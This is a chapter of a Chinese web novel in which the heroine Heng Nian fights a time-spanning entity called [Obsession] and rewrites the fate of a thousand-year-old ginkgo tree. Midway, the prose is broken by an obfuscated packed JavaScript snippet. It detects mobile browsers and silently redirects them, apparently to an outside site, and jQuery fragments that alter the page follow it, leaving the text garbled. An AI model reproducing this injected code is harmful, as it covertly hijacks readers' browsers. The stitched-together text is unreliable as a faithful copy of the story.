68. 生如朝露(19)
作品:《无法退出游戏的我成了最强控制员[新怪谈]》 果不其然,[执念]的本体根本反应不过来,即使它那能够撕裂时空的符文再察觉到衡念的所作所为后立刻扭曲,[执念]特有的奇异咔哒声响起,带着不可忽视的怒火席卷而来。
可它就是没法追上衡念。
相隔千年的时间在此刻显得漫长得恐怖,即使它全力而来,也无法追上衡念的步伐。
衡念重新回到街心公园。
这里残损破败,无人清理,血迹和残肢撒了满地,远处的天空仍透着薄红,未完全消散的红雾蠢蠢欲动。
在这幅如同褪色照片般灰暗的街心公园中,银杏树依旧生的繁密,重叠的枝桠之间缀满了黄金般的扇形树叶。
而初生的、才获得灵智的[执念]如人一般生出了四肢,虔诚地向着——信标室的方向前进。
它显得无比脆弱,如同凌冽寒风中的一簇微末烛火,飘摇不定。
形势大逆转!
两相对比之下,站在[执念]身边的衡念竟然庞大得如同山海。
她上前一步,坚韧破损的灵魂包裹住了[执念]初生的灵智,不再犹豫,立刻绞死了对方。
这比她想象中的要轻松很多,甚至,和捏死一只蚂蚁一样容易。
……?
就像这样,就能结束一切?
这个念头浮上心灵的瞬间,[感官过载]便发出了预警,慢了半拍,但衡念依旧察觉到了不对。
四分五裂的碎片散落在衡念的身体上,其中最接近核心的一片乍然间生出了一只类人的眼睛。
眼白遍布血丝,瞳孔细长,漆黑的虹膜中映照出一钩靛蓝的弯月。
“你以为这样就能结束吗?”只是和那只眼睛对视的瞬间,信息便顺着目光流淌到衡念的脑中,不断回响鸣奏。
是[执念]的本体。
它虽然没有来得及赶到。
但最后还是勉强分出了丝缕最为强劲的精神,跨越时空,重回战场。
无形的精神触须张牙舞爪地从那只眼珠的中心伸展而出,曲卷着禁锢住了衡念。
[执念]尖锐的笑声几乎要刺破她的视网膜,眼前的景色蒙上了一层血红。
一只看似最为无害弱小,如同芦苇根茎般细小的触须立刻如同闪电般刺向衡念的眉心。
被捆住可以说她是被那只眼球中的明月晃了心神,但此时她已经清醒,又怎么会被[执念]再度得手?
衡念的灵魂撕拉变长,边缘变得如同锐利的锯齿,冷冷寒芒一闪,直接截断了那只触须。
……
下一瞬,五颜六色的烟花在她的眼前展开。
风吹拂过她的枝杈,带来一种久违的舒适。
等到视线再度清晰,蓝裙的少女已经翩然而至,她看上去恰巧和廖清梨有几分相似,翡翠般的绿眼盛着一汪清泉。
她张嘴,没有任何声音,但银杏树却明白她在说些什么。
这也许是植物的交流方式?
“你已经被选中,请在蓝月下前往你的归处吧。”
“为什么?我在这里当树当得好好的,我还养了几窝小鸟呢,我不要去。”
少女有些苦闷地皱起眉头:“我们哪有得选?我也不愿意,你要不要猜猜我为什么还会出现在你眼前?”
“而且,你不觉得你的那一窝小鸟……有点超出人类对小鸟的定义了吗?”
树依旧执着:“所以这一窝很重要啊,我养了这么多,只有这一批是这个样子的,多有意思。”
它固执地拒绝了廖清的邀请:“我不管,总之我不愿意。”
廖清叹气,她有些不情愿地用指尖划开皮肤,蓝色的液体月光从她的血肉中涌出。
“事先告诉你,无论是你还是我,都没有拒绝的权利。”
粘稠的月光滴落在树干之上,很快顺着细小的纹理扩散,渗入树皮,消失不见。
那一滴月光里,盛满了人类的[执念]。
……
“你现在觉得怎么样呢?”廖清问,她神色平静,眼中有一闪而过的怜悯,不知道是为了银杏树,还是为了她自己。
一只缀满银杏的树枝骤然落地。无数片银杏叶落地飞起,明亮如黄金。扇状的叶脉无线延伸,径直突破了树叶的边缘,凭空虚构出一个漆黑的影子。
“啊……?”
它困惑地歪头:“你对我做了什么……?我那些漂亮的叶子都不见了……”
“现在这个样子,好恶心啊。”
廖清只是拍了拍它的肩膀,伸手指向异闻控制中心的方向:“快去吧,不要让[蓝月]久等。”
黑色的阴影只是好奇地看向哪个方向。透过无数现实、无数尸体、无数泪水,它终于看见了——
神的恩赐。
顷刻间,它不再在意小鸟、不再在意树叶、不再在意自己残存的旧事躯壳。
只有明月,和那扇同样矗立千年的石门。
——很快,它们将要合二为一。
是的,这就是它,这株千年银杏生来的使命。
“……你说得对。”
“我的归宿,并不在此。”
廖清苦笑一声,人和那条靛蓝的衣裙一同溶解在了深沉的夜色里。
看似自由,却身不由己。
木偶师位居天幕之上,散发出莹润的蓝光。
……
“你看到了,是不是?”衡念的舌尖尝到了[执念]言语,它阴郁的音色顺着衡念的味蕾传入脑中。
衡念却突然有些好奇,尽管是在这种生死相搏的局面中,她还是忍不住问:“你的那些小鸟呢?”
“……”
“死了。你们人类不是要维持社会的和平吗?在你们重整局面后,它们几个很快就被杀了。”
[执念]说,困住衡念肢体的开始用力,想要将她的灵魂彻底撕毁。
“好吧。”衡念试着抵抗那目标是撕毁灵魂的力量,却发现……几乎是轻而易举,不动声色地减弱力量,她开始试着打听情报,毕竟,从刚刚的记忆来看,[执念]的身上有许多关于[蓝月与红雾]的秘密,如果能破解这个秘密……她是不是就能彻底离开这个游戏了?
“要不要还是当一棵银杏树吧?你这样活着多累。”
她低声蛊惑:“当银杏的日子不好吗?养养鸟、逗逗虫、偷听树下的人类讲话,不好吗?”
“没用的。”此时[执念]倒是平淡,“祂的力量无人能抵抗。”
衡念算了算时间,觉得不能再拖了,她说:“你先别急,看在我们一起度过许多美好时光的份上,回答我最后一个问题。”
[执念]眼珠中的蓝月逐渐盈满,很快将如同玉盘般完美无缺:“你问吧。”
它在拖时间。
毕竟,千年之前的恐怖灵魂,很快就要赶到了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15173104|158277||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
衡念问:“为什么突然这么大规模地替换人类?你之前应该只会偷偷地换掉几个已死之人吧?”
“你怎么会不知道这个?明明身上……”它说到一半,像是想起什么一样,话语戛然而止,只给衡念的舌尖上留下了奇怪悠长的苦涩。
“……因为有更可怕的东西要来了。”[执念]非常坦然地说,“如果我还是向过去一样,只是捏造几个幻象来陪你们这些蠢货过家家的话,就连我也得死。”
“所以,是为了自保?”衡念问,这个答案并不如意料中的充斥疯狂和扭曲,听上去实在过于朴素。
“不全是。”它也许是笑了,因为衡念尝到了一点如同蜂蜜般甜腻的味道,“看你们相互猜忌的样子也有很意思……你们是怎么说来着,下饭?总之,我也是第一次发现人类说不定还有别的方式能娱乐一下我呢。”
“也还得谢谢你。”那丝缕甜,此时隐隐有些发苦,“我回去之后,有更多方法消磨时间了。”
未至的灾难……
衡念已经在不同的人口中听到过关于这件事的消息了。
套到了足以验证之前情报的消息,她也不再犹豫。灵魂所构的躯体无限压缩,彻底失去了人类的外形,也因此挣脱了对方的控制。
她轻轻撩拨时间的河水,只需回流几个小时。
廖清的身形如云雾般翩然,凝实,液体月光从她的血肉中涌出。
她抬手,正准备将那液体抹在树皮上之时,衡念轻轻用一小块有些破损的灵魂残渣包裹住了那种奇怪的液体。
廖清微微睁大眼睛,和廖清梨九分相似的脸上闪过疑惑。
衡念又扭曲着自己灵魂的形态,做出了和记忆中银杏树一模一样的反应。
廖清也并不拆穿衡念。
她只是饶有兴趣地看着衡念的表演,食指无意间划过嘴唇,做出了一个隐秘的嘘声手势。
有人改变了[蓝月]的剧本,但这结果……确是廖清想看见的。
灵魂包裹着那一小摊黏稠的液体,[执念]的本体也随之而至。
靛蓝的月下,它似乎已经明白衡念在它漫长生命中最关键的节点替它做了选择。
看到[执念]的瞬间,衡念毫不犹豫的结束了技能,只要她此时能够回到现实,那么一切都将重写。
伴随着几乎能够撕裂灵魂的疼痛,她最后留的话语,异常的简单。
“还是当棵树养养小动物吧,当人、学人,对你来说还是太难了。”
也许,也许。
是时候放下那本不属于自己的执念。
看着[玩家]如同碎片般龟裂飞散的灵魂,[执念]在此刻,突然有些释然。
又或者,它早已在心中无数次构想过今日的接过,这才叫[失格之人]偷走了衡念的碎片?
……
“……”
再睁开眼,衡念坐在银杏树下的长椅,看上去,她正在树下晒太阳的时候睡着了,而且醒来时因为那过于不适合人类入睡的姿势难受了许久。
事实上,她刚在另外的维度和强大的怪物激情追逃,脱身之后,灵魂发出疲惫的喟叹。
一片金灿灿的叶子落在衡念的脸上,还带着些阳光的余温,她暂时没有改变姿势,仍旧抬头望着层叠的树影,一只雪白红喙的小鸟落在枝头,正歪着头看着衡念。
衡念也对它露出一个笑容。